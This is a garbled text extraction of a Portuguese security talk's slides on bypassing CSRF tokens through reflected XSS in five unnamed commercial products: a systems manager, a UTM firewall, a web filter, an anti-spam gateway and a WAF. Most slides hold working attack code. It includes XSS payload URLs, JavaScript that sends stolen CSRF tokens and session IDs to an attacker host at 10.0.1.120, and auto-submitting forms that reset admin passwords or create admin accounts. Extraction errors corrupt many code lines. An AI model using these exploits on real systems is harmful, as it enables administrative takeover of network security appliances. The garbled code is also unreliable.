51
Bypass de Token CSRF na pra2ca/Exploração de ByPasss de CSRF William Costa

Bypass de token csrf na pratica secure brasil

Embed Size (px)

Citation preview

Page 1: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  na  pra2ca/Exploração  de  ByPasss  de  CSRF  

William  Costa  

Page 2: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  

Consultor  em  Segurança  da  Informação.  CISSP,  C|EH,  E|CSA,  CPT,  CEPT,  LPI.  

Page 3: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  Vulnerabilidade  CSRF.   • Cross-­‐site  request  forgery  é  o  envio  de  comandos  (dados)  pelo  usuário  a  um  site  que  confia  em  seu  browser  (usuário  já  auten2cado)  sem  o  consen2mento/conhecimento    

     do  mesmo.      • Normalmente  ocorre  com  ajuda  da    engenharia  social,  por  meio  de  envio    de  links  e/ou  phishings  .  

Page 4: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  

Senta  que  lá  vem  a  Historia  do  CSRF.  

• O  Primeiro  CVE  disponível  no  mitre  sobre  CSRF  (CVE-­‐2002-­‐1648)  é  de  uma  vulnerabilidade  de  2002  no  webmail  SquirrelMail.    • O  Mitre  conta  com  921  CVEs  publicados  deste  2po  de  falha.          

Page 5: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  Como  ocorre  um  ataque  de  CSRF.  

•  A  vi2ma  realiza  o  logon  na  aplicação  vulnerável,  com  a  sessão  valida  realiza  o  acesso  a  um  site  controlado  pelo  atacante.    

Page 6: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  

   A  OWASP  recomenda  a  u2lização  de  Tokens  também  conhecidos  como  Token  CSRF  para  prefinir  o  ataque  de  CSRF  normalmente  são  u2lizados  para  validação  dos  dados  enviados  via  POST(podem  ser  enviados  via  GET  também),  prevenindo  assim,  um  atacante  de  enviar  via  browser  da  vi2ma  informações  sem  o  conhecimento  prévio  do  token.  Impossibilitando  o  ataque  CSRF.  

   

Page 7: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  

Exemplo  de  um  Token  CSRF    

Page 8: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  Como  funciona  o  Token  CSRF.  

Page 9: Bypass de token csrf na pratica secure brasil

Cross-­‐Site  ScripBng  (XSS) • Cross-­‐Site  Scrip2ng  é  composto  por  envio  de  scripts  maliciosos  em  uma  requisição  de  um  usuário  ao  site  legi2mo,  

dessa  forma  o  script  será  executado  pelo  browser  da  vi2ma.    

Bypass  de  Token  CSRF  

Page 10: Bypass de token csrf na pratica secure brasil

TOP  10  OWASP •  OWASP  Top  10  –  2013      •  A1  –  Injec2on      •  A2  –  Broken  Authen2ca2on  and  Session  Management      •  A3  –  Cross-­‐Site  Scrip2ng  (XSS)      •  A4  –  Insecure  Direct  Object  References      •  A5  –  Security  Misconfigura2on      •  A6  –  Sensi2ve  Data  Exposure      •  A7  –  Missing  Func2on  Level  Access  Control      •  A8  –  Cross-­‐Site  Request  Forgery  (CSRF)      •  A9  –  Using  Known  Vulnerable  Components      •  A10  –  Unvalidated  Redirects  and  Forwards          

Bypass  de  Token  CSRF  

Page 11: Bypass de token csrf na pratica secure brasil

Bypass  do  CSRF  na  práBca.  

Nos  próximos  slides  irei  apresentar  5  formas  de  by-­‐pass  de  implementações  diferentes  de  Tokens  CSRFs.  Acredito  que  o  aprendizado  pra2co  é  mais  didá2co,  então  veremos  5  falhas  em  cinco  produtos  de  mercado  que  u2lizam  alguma  implementação  do  Token  CSRF.  J      

Bypass  de  Token  CSRF  

Page 12: Bypass de token csrf na pratica secure brasil

Falha  1#   Alvo  :  • Gerenciador  de  Sistemas  Resultado:    Um  Reflected  XSS  no  parâmetro  “ID”  na  pagina  de  configuração  de  usuários  administra2vos.    

Bypass  de  Token  CSRF  

Page 13: Bypass de token csrf na pratica secure brasil

XSS  no  parâmetro  ID    .

• hqp://ip/adminui/user.php?ID=10">]</a><script>alert("XSS");</script>&&PAGE=2    

Bypass  de  Token  CSRF  

Page 14: Bypass de token csrf na pratica secure brasil

Saída.

Bypass  de  Token  CSRF  

Page 15: Bypass de token csrf na pratica secure brasil

A  primeira  coisa  é  localizar  um  XSS. • Neste  aplica2vo  a  falha  se  encontra  no  ID  (ID=10)  de  iden2ficação  do  usuário  administrador.    • Não  ocorre  o  tratamento  dos  dados  enviados  nesta  variável,  o  conteúdo  da  variável  é  inserida  em  um  link  de  href  da  tag  <a>.    •  <a  href="history_log.php?HISTORY_TYPE=OBJECT&TYPE_NAME=USER&TYPE_ID=10"></a><script>alert(2);</script>&NAME=admin&SHOW_ALL=1"  onclick='logPopup(this);  return  false;'>Show  All  History</a>  

Bypass  de  Token  CSRF  

Page 16: Bypass de token csrf na pratica secure brasil

Analise  do  Ambiente. • Agora  que  já  temos  o  nosso  “XSS”,  podemos  analisar  o  ambiente  e  verificar  o  que  é    possível  fazer  com  este.    • Analisando  a  pagina    onde  temos  o  nosso  XSS,  vemos  que  é  possível  alterar  a  senha  do  usuário  sem  a  necessidade  da  senha  atual  J.  

•  Já  temos  o  Nosso  Alvo.  

Bypass  de  Token  CSRF  

Page 17: Bypass de token csrf na pratica secure brasil

Criando  nosso  Exploit. • Nosso  exploit  será  composto  por  um  javascript,  vamos  u2lizar  o  getElementsByName()  para  localizar  o  input  correspondente  ao  campo  Password  e  Confirm  Password  e  setar  uma  senha.  

 

document.getElementsByName('FARRAY[PASSWORD]')[0].value  =  "123456”;  document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value  =  "123456”;    

Porém  a  nossa  injeção  de  script  ocorre  no  inicio  do  código  HTML,  por  tanto  ainda  não  existem  esses  campos.  A  solução  é  adicionar  nosso  código  a  uma  função  e  setar  um  2meout.      func2on  append(csrf)  {  

   document.getElementsByName('FARRAY[PASSWORD]')[0].value  =  "123456";      document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value  =  "123456";      document.UserForm.submit();  

               }    setTimeout("append(\"2meout\")",  1000);  

Bypass  de  Token  CSRF  

Page 18: Bypass de token csrf na pratica secure brasil

Resultado. Alterado  a  Senha  do  Usuário  Admin    J      

Bypass  de  Token  CSRF  

Page 19: Bypass de token csrf na pratica secure brasil

Falha  2#   Alvo:    • Firewall  UTM    Resultado:    • Um  Reflected  XSS  no  campo  “mkey  ”  na  pagina  de  configuração  dos  schedules  das  regras.    

Bypass  de  Token  CSRF  

Page 20: Bypass de token csrf na pratica secure brasil

XSS  no  parâmetro  mkey.

• hqp://IP/firewall/schedule/recurrdlg?mkey=a"><script>alert("xss");</script>  

Bypass  de  Token  CSRF  

Page 21: Bypass de token csrf na pratica secure brasil

Saída.

Bypass  de  Token  CSRF  

Page 22: Bypass de token csrf na pratica secure brasil

Localizando  a  falha.  

• O  XSS  neste  caso  é  inserido  no  parâmetro  “mkey”  que  é  a  variável  do  nome  do  objeto  de  schedule.    • Mais  uma  vez  a  variável  não  foi  tratada  e  a  mesma  é  inserida  em  um  tag  <input>  do  html.    •  <input  type=text  name=name  id=name  size="50"  maxlength="31"  onfocus="this.select()"  value="a"><script>alert("XSS");</script>">  

Bypass  de  Token  CSRF  

Page 23: Bypass de token csrf na pratica secure brasil

Analise  do  Ambiente.     • Na  pagina  onde  ocorre  a  inserção  do  script,  não  contém  informações  sensíveis,  mas,  o  Token  CSRF  é  guardado  em  um  COOKIE.  J    •   Inserindo  um  simples  <script>alert(document.cookie)  ;<script>,  temos  a  seguinte  saída          

         • Alvo  criação  de  um  novo  Usuário    

Bypass  de  Token  CSRF  

Page 24: Bypass de token csrf na pratica secure brasil

Criando  o  Exploit. •  Iremos  criar  um  script  para  envio  do  Token  CSRF  para  nosso  servidor,  depois  enviar  o  usuário  a  nossa  página  para  o  envio  dos  dados  de  criação  do  usuário  administrador  (CSRF).    

 var  o_cookie_array  =  o_cookie.split(";");  var  a_data  =  unescape(o_cookie_array[1]);  var  a_data_array  =  a_data.split  ("="  );  var  token  =  unescape(a_data_array[1]);    window.loca=on.replace("h?ps://10.0.1.120/xss/cookie.php?cookie="  +  encodeURIComponent(token));  

Bypass  de  Token  CSRF  

Page 25: Bypass de token csrf na pratica secure brasil

•  Esse  código  é  responsável  pelo  envio  do  ataque  CSRF  quando  o  usuário  acessa  a  página.    <body  onload="CSRF.submit();”>  <?php  $lines  =  file  ('cookies.txt');  dados  =  explode('"',$lines[1]);  $matrizDeDados[]  =  $dados;  foreach  ($matrizDeDados  as  $linhas){  $token  =  $linhas[1];  }  ?>  <form  id="CSRF"  ac=on="h?p://ip_fw/system/config/adminadd"  method="post"  name="CSRF">  <input  name="name"  value="user.exploit">  </input>  <input  name="admin_type"  value="1">  </input>  <input  name="newpasswd1"  value="123456">  </input>  <input  name="newpasswd2"  value="123456">  </input>  <input  name="guest_grp"  value="">  </input>  <input  name="CSRF_TOKEN"  value="<?php  echo  $token;?>">  </input>  </form>  

Criando  o  Exploit.

Bypass  de  Token  CSRF  

Page 26: Bypass de token csrf na pratica secure brasil

Resultado. Criação  de  um  novo  usuário  de  Administração.    J      

Bypass  de  Token  CSRF  

Page 27: Bypass de token csrf na pratica secure brasil

Falha  3#   Alvo:    • Web  Filter    Resultado:    • Um  Reflected  XSS  no  campo  “date_range  ”  na  pagina  de  Repor2ngs  por  usuários.    

Bypass  de  Token  CSRF  

Page 28: Bypass de token csrf na pratica secure brasil

XSS  no  parâmetro  date_range.

• hqps://ip_webfilter/monitor/users?printable=False&date_range=a"><script>alert(“XSS”)</script>  

Bypass  de  Token  CSRF  

Page 29: Bypass de token csrf na pratica secure brasil

Saída.

Bypass  de  Token  CSRF  

Page 30: Bypass de token csrf na pratica secure brasil

Localizando  a  falha.   • O  XSS  neste  caso  é  inserido  no  parâmetro  “date_range”  u2lizado  para  filtro  de  data.    • Mais  uma  vez  a  variável  não  foi  tratada  e  a  mesma  é  inserida  em  uma  tag  <input>  do  html.    •  <input  type="hidden"  id="current_date_range”  value="aaaaa"><script>alert(2)</script>">  

Bypass  de  Token  CSRF  

Page 31: Bypass de token csrf na pratica secure brasil

Analise  do  Ambiente.     • Analisando  o  conteúdo  do  código  devolvido  ao  usuário  encontramos  o  Token  CSRF  em  uma  função  do  javascript  .  J  

• Alvo:  Para  a  troca  de  senha  do    Usuário  admin,  não  é  necessário  saber  a  senha  anterior  J    

Bypass  de  Token  CSRF  

Page 32: Bypass de token csrf na pratica secure brasil

Criando  o  Exploit.

•  Iniciaremos  com  a  criação  do  Exploit  para  localização  desse  script  e  a  remoção  do  seu  conteúdo  e  envio  ao  nosso  servidor.  Como  o  nosso  script  é  inserido  antes  da  criação  da  função  que  contém  o  Token  iremos  adicionar  o  nosso  script  um  2meout.      

func=on  append(csrf)  {    csrf  =  document.getElementsByTagName('script').item(20).textContent      var  o_cookie  =  csrf;      var  o_cookie_array  =  o_cookie.split("=");      var  a_data  =  unescape(o_cookie_array[2]);      var  a_data_array  =  a_data.split  ("&"  );      var  token  =  unescape(a_data_array[0]);  

   window.loca=on.replace("h?ps://ip_server/cookie.php?cookie="  +  encodeURIComponent(token))    }  

setTimeout("append(\"=meout\")",  2000);      

Bypass  de  Token  CSRF  

Page 33: Bypass de token csrf na pratica secure brasil

Criando  o  Exploit. <?php    $lines  =  file  ('cookies.txt');    $matrizDeDados[]  =  $lines;    //  recolhe  valores  da  linha    foreach  ($matrizDeDados  as  $linhas){    $token  =  $linhas[1];  }  ?>  

<body  onload="CSRF.submit();">  <form  id="CSRF"  ac=on="h?ps://IP_applicacao/system_administra=on/access/users"  method="post"  name="CSRF">  <input  name="screen"  value="system_administra=on.access.users">  </input>  <input  name="isEdit"  value="true">  </input>  <input  name="userName"  value="admin">  </input>  <input  name="group"  value="admin">  </input>  <input  name="passwd"  value="123456789">  </input>  <input  name="retypePassword"  value="123456789">  </input>  <input  name="CSRFKey"  value="<?php  echo  $token;?>">  </input>  </form>    

Bypass  de  Token  CSRF  

Page 34: Bypass de token csrf na pratica secure brasil

Resultado.

Alteração  da  senha  do  usuário  Admin.  J      

Bypass  de  Token  CSRF  

Page 35: Bypass de token csrf na pratica secure brasil

Falha  4#   Alvo:    • Messaging  Security  (an2-­‐spam)    Resultado:    • Um  Reflected  XSS  no  campo  “new  ”  na  pagina  de  criação  de  usuários  administra2vos.    

Bypass  de  Token  CSRF  

Page 36: Bypass de token csrf na pratica secure brasil

XSS  no  parâmetro  new.

• hqps://ip_an2spam/admin?module=SysUser&method=user&new=1><script  src=//10.0.1.120/e.js  

Bypass  de  Token  CSRF  

Page 37: Bypass de token csrf na pratica secure brasil

Saída.

Bypass  de  Token  CSRF  

Page 38: Bypass de token csrf na pratica secure brasil

Localizando  a  falha.  

• O  XSS  neste  caso  é  inserido  no  parâmetro  “new”  u2lizado  para  informar  a  criação  de  um  novo  usuário  administrador  na  aplicação.    • Mais  uma  vez  a  variável  não  foi  tratada  e  a  mesma  é  inserida  em  um  tag  <input>  do  html.    •  <input  type=hidden  name=new  value=1><script  src=//10.0.1.120/e.js>  

Bypass  de  Token  CSRF  

Page 39: Bypass de token csrf na pratica secure brasil

Analise  do  Ambiente.     • Analisando  o  conteúdo  do  código  devolvido  ao  usuário  vemos  que  o  nosso  script  é  inserido  dentro  de  uma  TAG  input  .  J  

       

• Alvo:  Já  estamos  na  página  de  criação  de  novos  usuários  administradores,  por  que  não  criar  um  para  nós?!.  

 

Bypass  de  Token  CSRF  

Page 40: Bypass de token csrf na pratica secure brasil

Criando  o  Exploit.

•  Esse  exploit  tem  o  intuito  de  preencher  os  campos  input  do  usuário,  senha  e  role,  porém  quando  inserimos  o  XSS  quebramos  a  tag  input  do  usuário.  Vamos  corrigir  isso  com  um  simples  document.write.  

//Create  tag  input  with  Id  of  user  that  was  break  by  XSS  document.write("<input    id='id'  name='id'  value='user.exploit'>");  

//Set  values  in  input  with  password  and  role  func=on  append(csrf)  {    document.getElementsByName('user_newpassword_1')[0].value  =  "admin@123";    document.getElementsByName('user_newpassword_2')[0].value  =  "admin@123";    document.getElementsByName('selectedrole')[0].value  =  "root";    document.main_form.submit();  

       }  setTimeout("append(\"=meout\")",  1000);  

Bypass  de  Token  CSRF  

Page 41: Bypass de token csrf na pratica secure brasil

Resultado.

Criação  de  um  novo  usuário  de  Administração.    J      

Bypass  de  Token  CSRF  

Page 42: Bypass de token csrf na pratica secure brasil

Falha  5#   Alvo:    • WAF  (Web  Applica2on  Firewall)    Resultado:    • Um  Reflected  XSS  da  pagina  de  Regex  pré  definidos  em  um  script  de  criação  de  cookie  

Bypass  de  Token  CSRF  

Page 43: Bypass de token csrf na pratica secure brasil

XSS  na  URL.

• hqps://waf/prot/paqern/list_url_rule/aaa">}//-­‐-­‐></script><script  src=hqps://10.0.1.120/exploit.js></script>  

Bypass  de  Token  CSRF  

Page 44: Bypass de token csrf na pratica secure brasil

Saída.

Bypass  de  Token  CSRF  

Page 45: Bypass de token csrf na pratica secure brasil

Localizando  a  falha.   • O  XSS  neste  caso  é  inserido  na  URL  que  é  u2lizada  para  criação  de  um  cookie  por  um  javascript  • A  URL  não  foi  tratada  e  a  mesma  é  inserida  em  um  javascript  <script>  da  aplicação.    

setCookie("/prot/pa?ern/list_data_type/aaa">}//-­‐-­‐></script><script  src=h?ps://10.0.1.120/teste.js></script>"  

Bypass  de  Token  CSRF  

Page 46: Bypass de token csrf na pratica secure brasil

Analise  do  Ambiente.     • Analisando  o  código  devolvido  ao  usuário  encontramos  o  Token  CSRF  com  o  nome  de  Session_ID,  já  temos  o  nosso  token.    

 

Alvo:  Criação  de  um  Novo  usuário    

Bypass  de  Token  CSRF  

Page 47: Bypass de token csrf na pratica secure brasil

Criando  o  Exploit.

•  Esse  exploit  envia  ao  servidor  o  Session_ID  que  vai  ser  usado  para  criação  de  um  usuário  administrador.  J    

window.loca2on.replace("hqps://10.0.1.120/cookie.php?cookie="  +  encodeURIComponent(session_id));  

 • Não  precisamos  nem  nós  preocuparmos  em  como  obter  o  token  ele  é  uma  variável  universal.  

Bypass  de  Token  CSRF  

Page 48: Bypass de token csrf na pratica secure brasil

Bypass  de  Token  CSRF  

Criando  o  Exploit.

Page 49: Bypass de token csrf na pratica secure brasil

Criação  de  um  novo  usuário  de  Administração.    J      

Bypass  de  Token  CSRF  

Resultado.

Page 50: Bypass de token csrf na pratica secure brasil

Conclusão. • Se  temos  um  XSS  na  aplicação  é  fácil  burlar  as  proteções  de  Flag  HqpOnly  do  cookie  ou  Token  CSRF.  

 

Bypass  de  Token  CSRF  

Page 51: Bypass de token csrf na pratica secure brasil

<script>alert(String(/Perguntas?/).substr(1,10)  );  </script>

twifer.com/@willcosta

Bypass  de  Token  CSRF